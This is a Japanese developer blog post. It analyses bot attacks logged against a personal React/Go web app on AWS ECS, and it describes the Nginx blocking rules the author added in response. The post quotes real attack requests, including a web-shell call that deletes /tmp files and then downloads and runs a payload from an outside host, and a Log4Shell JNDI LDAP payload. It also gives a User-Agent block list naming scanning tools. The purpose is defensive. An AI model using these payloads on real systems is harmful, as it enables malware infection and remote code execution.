🙆
AWS ECS + ALB + Reactで構築したWebアプリに届いた不正アクセスとその対策まとめ
AWS ECS + ALB + Reactで構築したWebアプリに届いた不正アクセスとその対策まとめ
こんにちは!
3年目エンジニアのdhulriposです!
今回は、はじめて一人でフロントエンド、バックエンド、インフラ(AWS)で作ってみたWebアプリを公開したところ変なログが来ていたので、それらから得た学びをまとめてみたいと思います。
お目汚しになってしまったら申し訳ございません。
記事内容に不備、ご指摘がございましたら、お手数ですが、コメントにてご教示いただければと思います。
この記事を読んで得られること
- ECS環境でSPAを安全に公開する際の注意点
- Nginxのセキュリティ対策例
はじめに
個人開発したWebアプリケーションをAWS ECS+ALB環境で公開した直後から、botと思われる不審なアクセスが観測されました。
本記事では、実際に記録されたログ、アクセスの目的とリスク、私が行った対処について記載します。
構成
- AWS ECS Fargate(React + Go Echo アプリ)
- ALB(パスベースルーティング:/api/*→Go API(ターゲットグループ優先度:1番)、それ以外→React(ターゲットグループ優先度:2番))
- Valkey(キャッシュサーバー)+ RDS(PostgreSQL)
- Nginxをフロントに配置(React配信+セキュリティ対策)
- バックエンドはJWTでAPI認証を実装(バックエンドは、特に不正なログはなかった)
観測された不正アクセスとその分析
1. Webシェル呼び出し
GET /shell?cd+/tmp;rm+-rf+*;wget+scamanje.stresserit.pro/jaws;sh+/tmp/jaws
- 意味:Webサーバーに存在する脆弱な/shellエンドポイントを狙ってマルウェアをダウンロード・実行しようとしていると思われる
- 意図:DDosやマイニングマルウェアの感染
- 対策:Nginxで/shellを含む不正なパスを403でブロック
2. Log4j/JNDI攻撃
GET /ecf-contact?cx=${jndi:ldap://35.193.186.77:80/...}
- 意味:Log4Shell(Log4jの脆弱性)を悪用し、任意のコード実行を狙う攻撃
- 意図:リモートコード実行
- 対策:
- Log4jを使用していないため影響なし
- “jndi:”や”ldap://”を含むURLをブロック
3. Spring Bootアクチュエーターへのアクセス
GET /api/actuator/mappings
GET /actuator/env
- 意味:Spring Bootの管理機能(actuator)の存在確認
- 意図:内部情報や環境変数の漏洩
- 対策:
- Nginxで/actuatorを403ブロック
- そもそもGo/Echoで作成しており、Spring Bootは使用していない
4. Nmapによるポートスキャン
GET /HNAP1
User-Agent: Nmap Scripting Engine
- 意味:脆弱性スキャンを自動で実行するポートスキャナ
- 意図:既知の脆弱エンドポイントを網羅的に調査
- 対策:
- User-Agentに”nmap”を含むリクエストを403
- 特定のパス(/HNAP1など)もブロック
5. クローラーによる情報収集
GET /login
User-Agent: GenomeCrawlerd (Nokia)
- 意味:クローラーによる自動巡回
- 意図:セキュリティ評価または情報収集
- 対策:明確な害はないため、特になし
6. 意図不明の不正アクセス
"GET / HTTP/1.1" 403 153 "-" "-"
"PRI * HTTP/2.0" 400 157 "-" "-"
"" 400 0 "-" "-"
- 意味:形式不正なリクエスト、スキャン時の誤操作、HTTP/2の仕様確認など?
- 意図:誤検知、スキャナのバグまたはWAF回避?
- Nginxで形式不正なリクエストログを記録して、必要に応じて制限
アクセスパターンに対応するために行った設定
Nginxのセキュリティ設定(一部抜粋)
nginx.conf
# 攻撃に使われやすいパスをブロック
location ~* \.(php|asp|cgi|pl|py)$ { return 403; }
location ~* ^/(wp-admin|shell|core|vendor|env) { return 403; }
# クエリに "token=" 含むものをブロック
if ($query_string ~* "token=") { return 403; }
# 危険なUser-Agentをブロック
if ($http_user_agent ~* (masscan|nmap|sqlmap|curl|python-requests)) { return 403; }
# ======== 以下、React Routerで使っているパスだけ許可(ホワイトリスト方式) ========
location = /login { try_files /index.html =403; }
location = /welcome { try_files /index.html =403; }
# ======== その他のパスはすべてブロック ========
location / {
return 403;
}
補足:SPA(Single Page Application)が存在しないルーティングを狙われるのか
理由1:SPAは全てのルーティングをクライアント側で処理するため
- SPAではURLのルーティング(/login,/mypageなど)はサーバーではなく、クライアント(ReactなどのJavaScript)で処理される
- そのため、サーバー側でどんなパスでも基本的にはindex.htmlを返すように設定されている(クライアントが処理する前提)
- これはReactで言えば、react-router-domによるルーティング
つまり、「/admin」というパスにアクセスされた場合でも、NginxなどのWebサーバーは/admin.htmlを探すのではなく、index.htmlを返すように設定されている。
なぜ存在しないパスを通してしまうのか?
例えば、Nginxの設定で以下のようにしていた場合:
nginx.conf
location / {
try_files $uri /index.html;
}
この設定の意味は以下のとおりです:
- $uri(リクエストされたファイルパス)が存在するならそれを返す
- 存在しないなら、index.htmlを返す
つまり、/adminや/wp-login.phpのようなパスがリクエストされても、
- そのファイルが存在しない→/index.htmlを返す
- 結果として、通ってしまう
対策:ホワイトリストで守る理由
try_files /index.htm =403; で、許可されたパス以外は403にすることで、
- 攻撃者が想定外のパスで探りを入れてきても、「403 Forbidden」で即ブロックできる
- サーバーに無駄な負荷もかからないし、ログにも残せる(監視しやすくなる)
攻撃の頻度とコスト影響
- 頻度:アプリ公開直後から継続的にアクセス(1時間に十数件〜百件程度)
- コスト:ECS Fargateでは、受信したリクエスト量では課金されないが、アプリ側で処理するとCPU/RAM消費が発生し、Fargate料金に影響する
- 軽減策:不正なアクセスをNginxで早期遮断
今後の対策案
- AWS WAF導入によるBot・攻撃IPの自動ブロック
- CloudFront導入によるCDN+Shield利用
- CloudWatch Logs + Metric Filter + Alarmによる異常アクセスのアラート通知
まとめ
インターネットに公開した瞬間から、アプリケーションはさまざまなスキャンや攻撃の対象になります。
たとえ脆弱性が存在しなくても、ログに目を通し、早めの対策を講じることが重要です。
自分で構築したWebアプリの保護を通して、セキュリティの重要性と仕組みを実体験することができました。
Discussion